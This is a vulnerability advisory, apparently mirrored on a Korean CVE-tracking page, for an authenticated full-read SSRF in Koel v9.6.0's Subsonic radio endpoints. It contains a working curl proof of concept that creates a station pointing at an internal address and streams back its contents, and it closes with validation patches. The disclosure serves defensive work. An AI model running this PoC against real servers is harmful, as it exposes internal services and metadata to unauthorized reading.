CVE-2026-54493HIGH· 7.7GHSA대응게시일: 2026. 07. 15.수정일: 2026. 07. 15.

Koel: Authenticated Full-Read SSRF via Subsonic Internet Radio Stations

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음

CVSS

7.7high

이론적 심각도 점수

EPSS

—

예측 데이터 없음

KEV

미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로

공격 벡터네트워크

공격 복잡도낮음

필요 권한낮음

사용자 상호작용불필요

범위변경

영향

기밀성 영향높음

무결성 영향없음

가용성 영향없음

버전별 점수

CVSS 3.17.7HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

상세 설명

Summary

Koel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel's radio streaming feature to make the server fetch that URL and return the upstream response body.

This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.

Details

SafeUrl is applied on the web API, but not on the Subsonic endpoints

Koel's regular radio API protects station URLs with SafeUrl and HasAudioContentType:

app/Http/Requests/API/Radio/RadioStationStoreRequest.php
app/Http/Requests/API/Radio/RadioStationUpdateRequest.php

text

 1new SafeUrl(),
 2new HasAudioContentType(),

The Subsonic-compatible routes do not reuse those checks:

routes/subsonic.php
- createInternetRadioStation.view
- updateInternetRadioStation.view
app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php

text

 1return [
 2    'streamUrl' => ['required', 'string'],
 3    'name' => ['required', 'string'],
 4    'homepageUrl' => ['nullable', 'string'],
 5];

The result is a validation gap between two routes that create the same type of object.

The unvalidated URL is stored and later fetched server-side

The Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:

app/Http/Controllers/Subsonic/CreateInternetRadioStationController.php
app/Http/Controllers/Subsonic/UpdateInternetRadioStationController.php
app/Services/RadioService.php

The SSRF is triggered when the station is played:

app/Http/Controllers/StreamRadioController.php
app/Services/Radio/RadioStreamService.php
app/Services/Radio/RadioStreamProxy.php

RadioStreamProxy::openStream() opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:

bash

 1$stream = fopen($url, 'r', false, $context);

The response body is returned to the attacker

If the upstream response is treated as a normal stream, Koel forwards it back to the client:

bash

 1while (!feof($stream) && !connection_aborted()) {
 2    echo fread($stream, 8192);
 3    flush();
 4}

That makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through /radio/stream/{id}.

This behavior also differs from the documented expectation in docs/usage/radio.md, which says Koel checks the URL when adding or editing a radio station.

PoC

The following steps were validated against the official phanan/koel:9.6.0 image.

Authenticate and obtain an API token:

bash

 1API_TOKEN=$(
 2  curl -sS -X POST http://127.0.0.1:18081/api/me \
 3    -H 'Content-Type: application/json' \
 4    --data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
 5  | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
 6)

Obtain the user's Subsonic API key:

bash

 1SUBSONIC_KEY=$(
 2  curl -sS http://127.0.0.1:18081/api/data \
 3    -H "Authorization: Bearer $API_TOKEN" \
 4  | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
 5)

Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:

text

 1TARGET_URL="http://172.17.0.1:18090/feed.xml"

Confirm the regular web API blocks the URL:

bash

 1curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
 2  -H "Authorization: Bearer $API_TOKEN" \
 3  -H 'Accept: application/json' \
 4  -H 'Content-Type: application/json' \
 5  --data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"

Expected result:

HTTP 422
Error includes The url must point to a public URL.

Create the same station through the Subsonic route:

bash

 1curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \
 2  --data-urlencode "apiKey=$SUBSONIC_KEY" \
 3  --data-urlencode 'f=json' \
 4  --data-urlencode 'name=xmlpeek' \
 5  --data-urlencode "streamUrl=$TARGET_URL"

Expected result:

HTTP 200
JSON includes "status":"ok"

Resolve the station ID and stream it:

bash

 1STATION_ID=$(
 2  curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json" \
 3  | python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))'
 4)
 5 
 6curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"

Expected result:

HTTP 200
Response body contains the upstream content from the internal target URL

An authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.

Practical impact includes:

Reading loopback-only, RFC1918, or Docker-bridge HTTP services
Accessing internal admin panels, metrics services, or metadata endpoints that are not publicly exposed
Performing internal HTTP reconnaissance and retrieving content through Koel itself

Since the response body is returned to the attacker, the impact is materially higher than a blind SSRF.

Remediation

The Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.

Suggested patch for app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php:

text

 1diff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
 2--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
 3+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
 4@@
 5 namespace App\Http\Requests\Subsonic;
 6 
 7 use App\Http\Requests\Request;
 8+use App\Rules\HasAudioContentType;
 9+use App\Rules\SafeUrl;
10@@
11     public function rules(): array
12     {
13         return [
14-            'streamUrl' => ['required', 'string'],
15+            'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
16             'name' => ['required', 'string'],
17             'homepageUrl' => ['nullable', 'string'],
18         ];
19     }
20 }

Suggested patch for app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php:

text

 1diff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
 2--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
 3+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
 4@@
 5 namespace App\Http\Requests\Subsonic;
 6 
 7 use App\Http\Requests\Request;
 8+use App\Rules\HasAudioContentType;
 9+use App\Rules\SafeUrl;
10@@
11     public function rules(): array
12     {
13         return [
14             'id' => ['required', 'string'],
15-            'streamUrl' => ['required', 'string'],
16+            'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
17             'name' => ['required', 'string'],
18             'homepageUrl' => ['nullable', 'string'],
19         ];
20     }
21 }

Suggested defense-in-depth patch for app/Services/Radio/RadioStreamProxy.php:

bash

 1diff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php
 2--- a/app/Services/Radio/RadioStreamProxy.php
 3+++ b/app/Services/Radio/RadioStreamProxy.php
 4@@
 5 namespace App\Services\Radio;
 6 
 7+use App\Helpers\Network;
 8 use App\Models\RadioStation;
 9 
10 class RadioStreamProxy
11 {
12+    public function __construct(private readonly Network $network) {}
13+
14@@
15     public function openStream(string $url)
16     {
17+        if (!$this->network->isSafeUrl($url)) {
18+            return false;
19+        }
20+
21         $context = stream_context_create([
22             'http' => [
23                 'header' => "Icy-MetaData: 1\r\n",
24                 'timeout' => 5,
25             ],

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